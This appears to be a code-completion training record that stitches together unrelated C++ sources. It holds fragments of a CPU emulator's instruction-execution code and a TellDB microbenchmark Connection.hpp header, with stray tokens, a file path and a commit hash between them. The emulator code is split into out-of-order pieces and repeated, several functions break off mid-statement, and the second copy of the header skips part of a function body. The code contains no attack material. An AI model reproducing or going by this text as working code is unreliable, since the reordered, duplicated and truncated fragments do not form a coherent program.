this->memory_->read_word((this->operand_value(instr, 0) % 8) * 2); break; case instruction::CALL: this->push_to_stack(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JMP: this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JEQ: if (this->psw_.psw_read(PswMasks::PSW_Z_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JNE: if (!this->psw_.psw_read(PswMasks::PSW_Z_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JGT: if (!this->psw_.psw_read(PswMasks::PSW_Z_MASK) && !this->psw_.psw_read(PswMasks::PSW_N_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::PUSH: this->push_to_stack(this->operand_value(instr, 0)); break; case instruction::POP: this->write_operand(instr, 0, this->pop_from_stack()); break; default: throw exceptions::UsageFault{ "invalid opcode" }; } } void emulator::system::cpu::Cpu::execute_instruction_two_operand(instruction::instruction_t instr) { alu_result_t alu_result; auto opcode = instr.instruction_descriptor.operation_code; switch (opcode) { case instruction::XCHG: { auto op0 = this->operand_value(instr, 0); auto op1 = this->operand_value(instr, 1); this->write_operand(instr, 1, op0); this->write_operand(instr, 0, op1); break; } case instruction::MOV: { auto op0 = this->operand_value(instr, 0); this->psw_.psw_write(PswMasks::PSW_Z_MASK, op0 == 0); if (instruction::operand_size(instr, 0) == instruction::OPERAND_SIZE_BYTE) this->psw_.psw_write(PswMasks::PSW_N_MASK, static_cast<signed_byte_t>(op0) < 0); else this->psw_.psw_write(PswMasks::PSW_N_MASK, static_cast<signed_word_t>(op0) < 0); this->write_operand(instr, 1, op0); break; } case instruction::ADD: case instruction::SUB: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_O_MASK, alu_result.o_flag); this->psw_.psw_write(PswMasks::PSW_C_MASK, alu_result.c_flag); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); this->write_operand(instr, 1, alu_result.result); break; case instruction::MUL: case instruction::DIV: case instruction::NOT: case instruction::AND: case instruction::OR: case instruction::XOR: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); this->write_operand(instr, 1, alu_result.result); break; case instruction::SHL: case instruction::SHR: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_C_MASK, alu_result.c_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); this->write_operand( instr, opcode == instruction::SHL ? 1 : 0, alu_result.result); break; case instruction::CMP: case instruction::TEST: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); break; default: throw exceptions::UsageFault{ "invalid opcode" }; } } emulator::system::mem_address_t emulator::system::cpu::Cpu::operand_memory_address(instruction::instruction_t instr, size_t operand_index) { word_t ret; switch (instr.operands[operand_index].addressing_mode) { case instruction::REGISTER_INDIRECT: ret = this->general_purpose_registers_[instr.operands[operand_index].register_index]; break; case instruction::REGISTER_INDIRECT_OFFSET: { auto reg_value = this->general_purpose_registers_[instr.operands[operand_index].register_index]; auto offset = instr.operands[operand_index].operand; ret = reg_value + offset; } break; case instruction::MEMORY_DIRECT: ret = instr.operands[operand_index].operand; break; default: throw exceptions::UsageFault{ "invalid addressing mode" }; } return ret; } emulator::system::word_t emulator::system::cpu::Cpu::operand_value(instruction::instruction_t instr, size_t operand_index) { word_t ret; if (instruction::is_operand_in_memory(instr, operand_index)) { ret = this->memory_->read_word(this->operand_memory_address(instr, operand_index)); } else { switch (instr.operands[operand_index].addressing_mode) { case instruction::IMMEDIATE: ret = instr.operands[operand_index].operand; break; case instruction::REGISTER: ret = this->general_purpose_registers_[instr.operands[operand_index].register_index]; break; default: throw exceptions::UsageFault{ "invalid addressing mode" }; } } if (instruction::operand_size(instr, operand_index) == instruction::OPERAND_SIZE_BYTE) ret &= 0xFF; return ret; } void emulator::system::cpu::Cpu::write_operand(instruction::instruction_t instr, size_t operand_index, word_t value) { if (instruction::is_operand_in_memory(instr, operand_index)) { auto memory_address = this->operand_memory_address(instr, operand_index); if (instr.instruction_descriptor.operand_size == instruction::OPERAND_SIZE_BYTE) this->memory_->write_byte(memory_address, static_cast<byte_t>(value & 0xFF)); else if (instr.instruction_descriptor.operand_size == instruction::OPERAND_SIZE_WORD) this->memory_->write_word(memory_address, value); } else if (instr.operands[operand_index].addressing_mode == instruction::REGISTER) { auto reg_index = instr.operands[operand_index].register_index; if (instr.operands[operand_index].low_byte) value &= 0xFF; if (reg_index < num_gp_registers) this->general_purpose_registers_[reg_index] = value; else if (reg_index == instruction::psw_idx) this->psw_.set(value); else throw exceptions::UsageFault{ "invalid register index" }; } else { throw exceptions::UsageFault{ "invalid addressing mode" }; } }
#include "Cpu.hpp" #include <utility> #include "InstructionsDefs.hpp" #include "StackOverflow.hpp" #include "StackUnderflow.hpp" #include "UsageFault.hpp" emulator::system::cpu::Cpu::Cpu(std::shared_ptr<Memory> memory) : memory_(std::move(memory)) { this->general_purpose_registers_[REG_SP] = Memory::STACK_START_ADDRESS; } void emulator::system::cpu::Cpu::interrupt(const size_t ivt_entry) { if (ivt_entry >= ivt_num_entries) throw exceptions::UsageFault{ "invalid ivt_entry" }; this->interrupt_pending_[ivt_entry] = true; } void emulator::system::cpu::Cpu::work() { this->cpu_running_ = true; this->general_purpose_registers_[REG_PC] = this->memory_->read_word(this->interrupt_vector_table_pointer_); while (this->cpu_running_) { try { ins
.psw_read(PswMasks::PSW_Z_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JNE: if (!this->psw_.psw_read(PswMasks::PSW_Z_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JGT: if (!this->psw_.psw_read(PswMasks::PSW_Z_MASK) && !this->psw_.psw_read(PswMasks::PSW_N_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::PUSH: this->push_to_stack(this->operand_value(instr, 0)); break; case instruction::POP: this->write_operand(instr, 0, this->pop_from_stack()); break; default: throw exceptions::UsageFault{ "invalid opcode" }; } } void emulator::system::cpu::Cpu::execute_instruction_two_operand(instruction::instruction_t instr) { alu_result_t alu_result; auto opcode = instr.instruction_descriptor.operation_code; switch (opcode) { case instruction::XCHG: { auto op0 = this->operand_value(instr, 0); auto op1 = this->operand_value(instr, 1); this->write_operand(instr, 1, op0); this->write_operand(instr, 0, op1); break; } case instruction::MOV: { auto op0 = this->operand_value(instr, 0); this->psw_.psw_write(PswMasks::PSW_Z_MASK, op0 == 0); if (instruction::operand_size(instr, 0) == instruction::OPERAND_SIZE_BYTE) this->psw_.psw_write(PswMasks::PSW_N_MASK, static_cast<signed_byte_t>(op0) < 0); else this->psw_.psw_write(PswMasks::PSW_N_MASK, static_cast<signed_word_t>(op0) < 0); this->write_operand(instr, 1, op0); break; } case instruction::ADD: case instruction::SUB: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_O_MASK, alu_result.o_flag); this->psw_.psw_write(PswMasks::PSW_C_MASK, alu_result.c_flag); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); this->write_operand(instr, 1, alu_result.result); break; case instruction::MUL: case instruction::DIV: case instruction::NOT: case instruction::AND: case instruction::OR: case instruction::XOR: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); this->write_operand(instr, 1, alu_result.result); break; case instruction::SHL: case instruction::SHR: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_C_MASK, alu_result.c_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); this->write_operand( instr, opcode == instruction::SHL ? 1 : 0, alu_result.result); break; case instruction::CMP: case instruction::TEST: alu_result = this->alu_.execute_operation( static_cast<instruction::OperationCodes>(opcode), this->operand_value(instr, 0), this->operand_value(instr, 1), instruction::operand_size(instr, 0)); this->psw_.psw_write(PswMasks::PSW_Z_MASK, alu_result.z_flag); this->psw_.psw_write(PswMasks::PSW_N_MASK, alu_result.n_flag); break; default: throw exceptions::UsageFault{ "invalid opcode" }; } } emulator::system::mem_address_t emulator::system::cpu::Cpu::operand_memory_address(instruction::instruction_t instr, size_t operand_index) { word_t ret; switch (instr.operands[operand_index].addressing_mode) { case instruction::REGISTER_INDIRECT: ret = this->general_purpose_registers_[instr.operands[operand_index].register_index]; break; case instruction::REGISTER_INDIRECT_OFFSET: { auto reg_value = this->general_purpose_registers_[instr.operands[operand_index].register_index]; auto offset = instr.operands[operand_index].operand; ret = reg_value + offset; } break; case instruction::MEMORY_DIRECT: ret = instr.operands[operand_index].operand; break; default: throw exceptions::UsageFault{ "invalid addressing mode" }; } return ret; } emulator::system::word_t emulator::system::cpu::Cpu::operand_value(instruction::instruction_t instr, size_t operand_index) { word_t ret; if (instruction::is_operand_in_memory(instr, operand_index)) { ret = this->memory_->read_word(this->operand_memory_address(instr, operand_index)); } else { switch (instr.operands[operand_index].addressing_mode) { case instruction::IMMEDIATE: ret = instr.operands[operand_index].operand; break; case instruction::REGISTER: ret = this->general_purpose_registers_[instr.operands[operand_index].register_index]; break; default: throw exceptions::UsageFault{ "invalid addressing mode" }; } } if (instruction::operand_size(instr, operand_index) == instruction::OPERAND_SIZE_BYTE) ret &= 0xFF; return ret; } void emulator::system::cpu::Cpu::write_operand(instruction::instruction_t instr, size_t operand_index, word_t value) { if (instruction::is_operand_in_memory(instr, operand_index)) { auto memory_address = this->operand_memory_address(instr, operand_index); if (instr.instruction_descriptor.operand_size == instruction::OPERAND_SIZE_BYTE) this->memory_->write_byte(memory_address, static_cast<byte_t>(value & 0xFF)); else if (instr.instruction_descriptor.operand_size == instruction::OPERAND_SIZE_WORD) this->memory_->write_word(memory_address, value); } else if (instr.operands[operand_index].addressing_mode == instruction::REGISTER) { auto reg_index = instr.operands[operand_index].register_index; if (instr.operands[operand_index].low_byte) value &= 0xFF; if (reg_index < num_gp_registers) this->general_purpose_registers_[reg_index] = value; else if (reg_index == instruction::psw_idx) this->psw_.set(value); else throw exceptions::UsageFault{ "invalid register index" }; } else { throw exceptions::UsageFault{ "invalid addressing mode" }; } }
truction::instruction_t instr = this->fetch_instruction(); this->execute_instruction(instr); } catch (exceptions::UsageFault &ex) { this->interrupt(IVT_INVALID_OP); } this->handle_interrupt(); } } void emulator::system::cpu::Cpu::push_to_stack(word_t word) { if (this->general_purpose_registers_[REG_SP] == sizeof(word_t)) throw exceptions::StackOverflow{}; this->general_purpose_registers_[REG_SP] -= sizeof(word_t); this->memory_->write_word(this->general_purpose_registers_[REG_SP], word); } emulator::system::word_t emulator::system::cpu::Cpu::pop_from_stack() { if (this->general_purpose_registers_[REG_SP] == 0) throw exceptions::StackUnderflow{}; auto ret = this->memory_->read_word(this->general_purpose_registers_[REG_SP]); this->general_purpose_registers_[REG_SP] += sizeof(word_t); return ret; } emulator::system::cpu::instruction::instruction_t emulator::system::cpu::Cpu::fetch_instruction() { using namespace instruction; instruction_t instr; byte_t instruction_descriptor = this->memory_->read_byte(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(byte_t); instr.instruction_descriptor.operation_code = (instruction_descriptor & OPCODE_MASK) >> OPCODE_OFFSET; instr.instruction_descriptor.operand_size = (instruction_descriptor & OPERAND_SIZE_MASK) >> OPERAND_SIZE_OFFSET; for (size_t i = 0; i < number_of_operands(instr) && i < max_operands_in_instruction; i++) { byte_t operand_descriptor = this->memory_->read_byte(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(byte_t); instr.operands[i].addressing_mode = (operand_descriptor & ADDRESSING_MODE_MASK) >> ADDRESSING_MODE_OFFSET; instr.operands[i].register_index = (operand_descriptor & REGISTER_INDEX_MASK) >> REGISTER_INDEX_OFFSET; instr.operands[i].low_byte = (operand_descriptor & LOW_BYTE_MASK) >> LOW_BYTE_OFFSET; if (instr.operands[i].addressing_mode == REGISTER || instr.operands[i].addressing_mode == REGISTER_INDIRECT) continue; if (instr.instruction_descriptor.operand_size == OPERAND_SIZE_BYTE) { instr.operands[i].operand = this->memory_->read_byte(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(byte_t); } else { instr.operands[i].operand = this->memory_->read_word(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] += sizeof(word_t); } } return instr; } void emulator::system::cpu::Cpu::execute_instruction(instruction::instruction_t instr) { switch (instruction::number_of_operands(instr)) { case 0: this->execute_instruction_zero_operand(instr); break; case 1: this->execute_instruction_one_operand(instr); break; case 2: this->execute_instruction_two_operand(instr); break; default:; } } void emulator::system::cpu::Cpu::handle_interrupt() { for (size_t i = 0; i < ivt_num_entries; i++) { if (this->interrupt_pending_[i]) { this->interrupt_pending_[i] = false; this->push_to_stack(this->general_purpose_registers_[REG_PC]); this->push_to_stack(this->psw_.get()); this->general_purpose_registers_[REG_PC] = this->memory_->read_word( this->interrupt_vector_table_pointer_ + i * 2); break; } } } void emulator::system::cpu::Cpu::execute_instruction_zero_operand(instruction::instruction_t instr) { switch (instr.instruction_descriptor.operation_code) { case instruction::HALT: this->cpu_running_ = false; break; case instruction::IRET: this->psw_.set(this->pop_from_stack()); this->general_purpose_registers_[REG_PC] = this->pop_from_stack(); break; case instruction::RET: this->general_purpose_registers_[REG_PC] = this->pop_from_stack(); break; default: throw exceptions::UsageFault{ "invalid opcode" }; } } void emulator::system::cpu::Cpu::execute_instruction_one_operand(instruction::instruction_t instr) { switch (instr.instruction_descriptor.operation_code) { case instruction::INT: this->push_to_stack(this->general_purpose_registers_[REG_PC]); this->push_to_stack(this->psw_.get()); this->general_purpose_registers_[REG_PC] = this->memory_->read_word((this->operand_value(instr, 0) % 8) * 2); break; case instruction::CALL: this->push_to_stack(this->general_purpose_registers_[REG_PC]); this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JMP: this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JEQ: if (this->psw_
random
[ { "content": " class Memory\n\n {\n\n public:\n\n void write_byte(mem_address_t base_address, byte_t data);\n\n byte_t read_byte(mem_address_t base_address);\n\n\n\n void write_word(mem_address_t base_address, word_t data);\n\n word_t read_word(me...
C++
server/tell/Connection.hpp
tellproject/microbench
55bc79417f3022b15156c974dbf96d7a75c4de68
#pragma once #include <util/Protocol.hpp> #include <array> #include <telldb/TellDB.hpp> #include <boost/asio.hpp> namespace mbench { class Transaction { private: using GetFuture = tell::db::Future<tell::db::Tuple>; public: using UpdateOp = std::array<std::pair<unsigned, tell::db::Field>, 5>; using Tuple = std::vector<tell::db::Field>; using Field = tell::db::Field; private: tell::db::Transaction& mTx; std::vector<tell::db::Tuple::id_t> mFieldIds; std::vector<uint64_t> mDelete; std::vector<uint64_t> mGet; std::vector<std::pair<uint64_t, UpdateOp>> mUpdate; std::vector<std::pair<uint64_t, Field>> mFieldUpdates; bool mTableIdSet = false; tell::db::table_t mTableId; public: tell::db::table_t tableId() { if (!mTableIdSet) { auto resF = mTx.openTable("maintable"); mTableId = resF.get(); mTableIdSet = true; } return mTableId; } tell::db::Tuple::id_t idOfPos(unsigned pos) { if (mFieldIds.empty()) initFieldIds(); return mFieldIds[pos]; } crossbow::string nameOfCol(unsigned col) { char name = 'A' + (col % 10); crossbow::string colName(&name, 1); colName += crossbow::to_string(col / 10 + 1); return colName; } tell::db::Transaction& transaction() { return mTx; } private: void initFieldIds() { auto& schema = mTx.getSchema(tableId()); auto& fixedSized = schema.fixedSizeFields(); auto& varSized = schema.varSizeFields(); std::array<unsigned, 10> occ; for (auto& o : occ) { o = 0; } id_t i = 0; mFieldIds.resize(fixedSized.size() + varSized.size()); for (; i < fixedSized.size(); ++i) { auto& field = fixedSized[i]; switch (field.name()[0]) { case 'A': mFieldIds[0 + 10*occ[0]++] = i; break; case 'B': mFieldIds[1 + 10*occ[1]++] = i; break; case 'C': mFieldIds[2 + 10*occ[2]++] = i; break; case 'D': mFieldIds[3 + 10*occ[3]++] = i; break; case 'E': mFieldIds[4 + 10*occ[4]++] = i; break; case 'F': mFieldIds[5 + 10*occ[5]++] = i; break; case 'G': mFieldIds[6 + 10*occ[6]++] = i; break; case 'H': mFieldIds[7 + 10*occ[7]++] = i; break; default: throw std::runtime_error((boost::format("Unexpected field %1%") % field.name()).str().c_str()); } } for (; i - fixedSized.size() < varSized.size(); ++i) { auto& field = varSized[i - fixedSized.size()]; switch (field.name()[0]) { case 'I': mFieldIds[8 + 10*occ[8]++] = i; break; case 'J': mFieldIds[9 + 10*occ[9]++] = i; break; default: throw std::runtime_error((boost::format("Unexpected field %1%") % field.name()).str().c_str()); } } } void execGets() { auto tId = tableId(); std::vector<GetFuture> getsF; getsF.reserve(mGet.size()); for (auto key : mGet) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{key})); } for (auto iter = getsF.rbegin(); iter != getsF.rend(); ++iter) { iter->wait(); } mGet.clear(); } void execDeletions() { auto tId = tableId(); std::vector<GetFuture> getsF; getsF.reserve(mDelete.size()); for (auto key : mDelete) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{key})); } for (auto i = getsF.size(); i > 0; --i) { auto t = getsF[i - 1].get(); mTx.remove(tId, tell::db::key_t{mDelete[i - 1]}, t); } mDelete.clear(); } void execUpdates() { assert(mUpdate.empty() || mFieldUpdates.empty()); auto tId = tableId(); std::vector<GetFuture> getsF; getsF.reserve(mUpdate.size() + mFieldUpdates.size()); for (auto& p : mUpdate) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{p.first})); } for (auto& p : mFieldUpdates) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{p.first})); } for (unsigned i = 0; i < mUpdate.size(); ++i) { auto tuple = getsF[i].get(); auto old = tuple; auto& arr = mUpdate[i].second; for (auto& p : arr) { auto& field = tuple[idOfPos(p.first)]; assert(field.type() == p.second.type()); tuple[idOfPos(p.first)] = p.second; } mTx.update(tId, tell::db::key_t{mUpdate[i].first}, old, tuple); } for (unsigned i = 0; i < mFieldUpdates.size(); ++i) { auto tuple = getsF[i].get(); auto old = tuple; tuple[0] = mFieldUpdates[i].second; mTx.update(tId, tell::db::key_t{mFieldUpdates[i].first}, old, tuple); } mUpdate.clear(); mFieldUpdates.clear(); } public: Transaction(tell::db::Transaction& tx) : mTx(tx) { mUpdate.reserve(100); mFieldUpdates.reserve(100); mDelete.reserve(100); } void commit() { execGets(); execUpdates(); execDeletions(); mTx.commit(); } static Tuple newTuple(unsigned n) { return std::vector<tell::db::Field>(n); } void remove(uint64_t key) { mDelete.push_back(key); } void get(uint64_t key) { mGet.push_back(key); } void update(uint64_t key, const UpdateOp& up) { mUpdate.emplace_back(key, up); } void insert(uint64_t key, const Tuple& value) { auto tId = tableId(); auto insTuple = mTx.newTuple(tId); for (unsigned i = 0; i < value.size(); ++i) { insTuple[idOfPos(i)] = value[i]; } #ifndef NDEBUG for (id_t i = 0; i < insTuple.count(); ++i) { assert(!insTuple[i].null()); } #endif mTx.insert(tId, tell::db::key_t{key}, insTuple); } void createSchema(unsigned numCols, unsigned sf) { tell::store::Schema schema(tell::store::TableType::TRANSACTIONAL); for (unsigned i = 0; i < numCols; ++i) { crossbow::string colName = nameOfCol(i); tell::store::FieldType type; switch (i % 10) { case 0: type = tell::store::FieldType::DOUBLE; break; case 1: type = tell::store::FieldType::INT; break; case 2: type = tell::store::FieldType::INT; break; case 3: type = tell::store::FieldType::SMALLINT; break; case 4: type = tell::store::FieldType::SMALLINT; break; case 5: type = tell::store::FieldType::BIGINT; break; case 6: type = tell::store::FieldType::BIGINT; break; case 7: type = tell::store::FieldType::DOUBLE; break; case 8: type = tell::store::FieldType::TEXT; break; case 9: type = tell::store::FieldType::TEXT; } schema.addField(type, colName, true); } mTx.createTable("maintable", schema); } }; struct TransactionRunner { std::function<void(Transaction&)> callback; boost::asio::io_service& service; std::unique_ptr<tell::db::TransactionFiber<void>> fiber; template<class Fun> TransactionRunner(Fun&& callback, boost::asio::io_service& service) : callback(callback) , service(service) {} void operator() (tell::db::Transaction& tx) { Transaction t(tx); callback(t); service.post([this]() { fiber->wait(); delete this; }); } }; extern std::unique_ptr<tell::store::ScanMemoryManager> scanMemoryManager; extern std::mutex memoryManagerMutex; class Connection { tell::db::ClientManager<void> mClientManager; boost::asio::io_service& mService; size_t mNumStorages; public: using string_type = crossbow::string; public: Connection(tell::store::ClientConfig& config, boost::asio::io_service& service, unsigned sf) : mClientManager(config) , mService(service) , mNumStorages(config.tellStore.size()) { if (!scanMemoryManager) { std::unique_lock<std::mutex> _(memoryManagerMutex); if (!scanMemoryManager) { size_t scanSize = size_t(sf)<<20; scanSize *= 70; size_t numStorages = storageCount(); size_t chunkSize = scanSize/numStorages; chunkSize += chunkSize % 8 == 0 ? 0 : (8 - (chunkSize % 8)); auto n = mClientManager.newScanMemoryManager(numStorages, chunkSize); scanMemoryManager.swap(n); } } } template<class Callback> void startTx(mbench::TxType txType, const Callback& callback) { tell::store::TransactionType type; switch (txType) { case mbench::TxType::RW: type = tell::store::TransactionType::READ_WRITE; break; case mbench::TxType::RO: type = tell::store::TransactionType::READ_ONLY; break; case mbench::TxType::A: type = tell::store::TransactionType::ANALYTICAL; } auto tx = new TransactionRunner(callback, mService); tx->fiber.reset(new tell::db::TransactionFiber<void>(mClientManager.startTransaction( [tx](tell::db::Transaction& t) { (*tx)(t); }, type))); } std::unique_ptr<tell::store::ScanMemoryManager> newScanMemoryManager(size_t chunkCount, size_t chunkSize) { return mClientManager.newScanMemoryManager(chunkCount, chunkSize); } size_t storageCount() const { return mNumStorages; } }; }
#pragma once #include <util/Protocol.hpp> #include <array> #include <telldb/TellDB.hpp> #include <boost/asio.hpp> namespace mbench { class Transaction { private: using GetFuture = tell::db::Future<tell::db::Tuple>; public: using UpdateOp = std::array<std::pair<unsigned, tell::db::Field>, 5>; using Tuple = std::vector<tell::db::Field>; using Field = tell::db::Field; private: tell::db::Transaction& mTx; std::vector<tell::db::Tuple::id_t> mFieldIds; std::vector<uint64_t> mDelete; std::vector<uint64_t> mGet; std::vector<std::pair<uint64_t, UpdateOp>> mUpdate; std::vector<std::pair<uint64_t, Field>> mFieldUpdates; bool mTableIdSet = false; tell::db::table_t mTableId; public: tell::db::table_t tableId() { if (!mTableIdSet) { auto resF = mTx.openTable("maintable"); mTableId = resF.get(); mTableIdSet = true; } return mTableId; } tell::db::Tuple::id_t idOfPos(unsigned pos) { if (mFieldIds.empty()) initFieldIds(); return mFieldIds[pos]; } crossbow::string nameOfCol(unsigned col) { char name = 'A' + (col % 10); crossbow::string colName(&name, 1); colName += crossbow::to_string(col / 10 + 1); return colName; } tell::db::Transaction& transaction() { return mTx; } private: void initFieldIds() { auto& schema = mTx.getSchema(tableId()); auto& fixedSized = schema.fixedSizeFields(); auto& varSized = schema.varSizeFields();
void execGets() { auto tId = tableId(); std::vector<GetFuture> getsF; getsF.reserve(mGet.size()); for (auto key : mGet) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{key})); } for (auto iter = getsF.rbegin(); iter != getsF.rend(); ++iter) { iter->wait(); } mGet.clear(); } void execDeletions() { auto tId = tableId(); std::vector<GetFuture> getsF; getsF.reserve(mDelete.size()); for (auto key : mDelete) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{key})); } for (auto i = getsF.size(); i > 0; --i) { auto t = getsF[i - 1].get(); mTx.remove(tId, tell::db::key_t{mDelete[i - 1]}, t); } mDelete.clear(); } void execUpdates() { assert(mUpdate.empty() || mFieldUpdates.empty()); auto tId = tableId(); std::vector<GetFuture> getsF; getsF.reserve(mUpdate.size() + mFieldUpdates.size()); for (auto& p : mUpdate) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{p.first})); } for (auto& p : mFieldUpdates) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{p.first})); } for (unsigned i = 0; i < mUpdate.size(); ++i) { auto tuple = getsF[i].get(); auto old = tuple; auto& arr = mUpdate[i].second; for (auto& p : arr) { auto& field = tuple[idOfPos(p.first)]; assert(field.type() == p.second.type()); tuple[idOfPos(p.first)] = p.second; } mTx.update(tId, tell::db::key_t{mUpdate[i].first}, old, tuple); } for (unsigned i = 0; i < mFieldUpdates.size(); ++i) { auto tuple = getsF[i].get(); auto old = tuple; tuple[0] = mFieldUpdates[i].second; mTx.update(tId, tell::db::key_t{mFieldUpdates[i].first}, old, tuple); } mUpdate.clear(); mFieldUpdates.clear(); } public: Transaction(tell::db::Transaction& tx) : mTx(tx) { mUpdate.reserve(100); mFieldUpdates.reserve(100); mDelete.reserve(100); } void commit() { execGets(); execUpdates(); execDeletions(); mTx.commit(); } static Tuple newTuple(unsigned n) { return std::vector<tell::db::Field>(n); } void remove(uint64_t key) { mDelete.push_back(key); } void get(uint64_t key) { mGet.push_back(key); } void update(uint64_t key, const UpdateOp& up) { mUpdate.emplace_back(key, up); } void insert(uint64_t key, const Tuple& value) { auto tId = tableId(); auto insTuple = mTx.newTuple(tId); for (unsigned i = 0; i < value.size(); ++i) { insTuple[idOfPos(i)] = value[i]; } #ifndef NDEBUG for (id_t i = 0; i < insTuple.count(); ++i) { assert(!insTuple[i].null()); } #endif mTx.insert(tId, tell::db::key_t{key}, insTuple); } void createSchema(unsigned numCols, unsigned sf) { tell::store::Schema schema(tell::store::TableType::TRANSACTIONAL); for (unsigned i = 0; i < numCols; ++i) { crossbow::string colName = nameOfCol(i); tell::store::FieldType type; switch (i % 10) { case 0: type = tell::store::FieldType::DOUBLE; break; case 1: type = tell::store::FieldType::INT; break; case 2: type = tell::store::FieldType::INT; break; case 3: type = tell::store::FieldType::SMALLINT; break; case 4: type = tell::store::FieldType::SMALLINT; break; case 5: type = tell::store::FieldType::BIGINT; break; case 6: type = tell::store::FieldType::BIGINT; break; case 7: type = tell::store::FieldType::DOUBLE; break; case 8: type = tell::store::FieldType::TEXT; break; case 9: type = tell::store::FieldType::TEXT; } schema.addField(type, colName, true); } mTx.createTable("maintable", schema); } }; struct TransactionRunner { std::function<void(Transaction&)> callback; boost::asio::io_service& service; std::unique_ptr<tell::db::TransactionFiber<void>> fiber; template<class Fun> TransactionRunner(Fun&& callback, boost::asio::io_service& service) : callback(callback) , service(service) {} void operator() (tell::db::Transaction& tx) { Transaction t(tx); callback(t); service.post([this]() { fiber->wait(); delete this; }); } }; extern std::unique_ptr<tell::store::ScanMemoryManager> scanMemoryManager; extern std::mutex memoryManagerMutex; class Connection { tell::db::ClientManager<void> mClientManager; boost::asio::io_service& mService; size_t mNumStorages; public: using string_type = crossbow::string; public: Connection(tell::store::ClientConfig& config, boost::asio::io_service& service, unsigned sf) : mClientManager(config) , mService(service) , mNumStorages(config.tellStore.size()) { if (!scanMemoryManager) { std::unique_lock<std::mutex> _(memoryManagerMutex); if (!scanMemoryManager) { size_t scanSize = size_t(sf)<<20; scanSize *= 70; size_t numStorages = storageCount(); size_t chunkSize = scanSize/numStorages; chunkSize += chunkSize % 8 == 0 ? 0 : (8 - (chunkSize % 8)); auto n = mClientManager.newScanMemoryManager(numStorages, chunkSize); scanMemoryManager.swap(n); } } } template<class Callback> void startTx(mbench::TxType txType, const Callback& callback) { tell::store::TransactionType type; switch (txType) { case mbench::TxType::RW: type = tell::store::TransactionType::READ_WRITE; break; case mbench::TxType::RO: type = tell::store::TransactionType::READ_ONLY; break; case mbench::TxType::A: type = tell::store::TransactionType::ANALYTICAL; } auto tx = new TransactionRunner(callback, mService); tx->fiber.reset(new tell::db::TransactionFiber<void>(mClientManager.startTransaction( [tx](tell::db::Transaction& t) { (*tx)(t); }, type))); } std::unique_ptr<tell::store::ScanMemoryManager> newScanMemoryManager(size_t chunkCount, size_t chunkSize) { return mClientManager.newScanMemoryManager(chunkCount, chunkSize); } size_t storageCount() const { return mNumStorages; } }; }
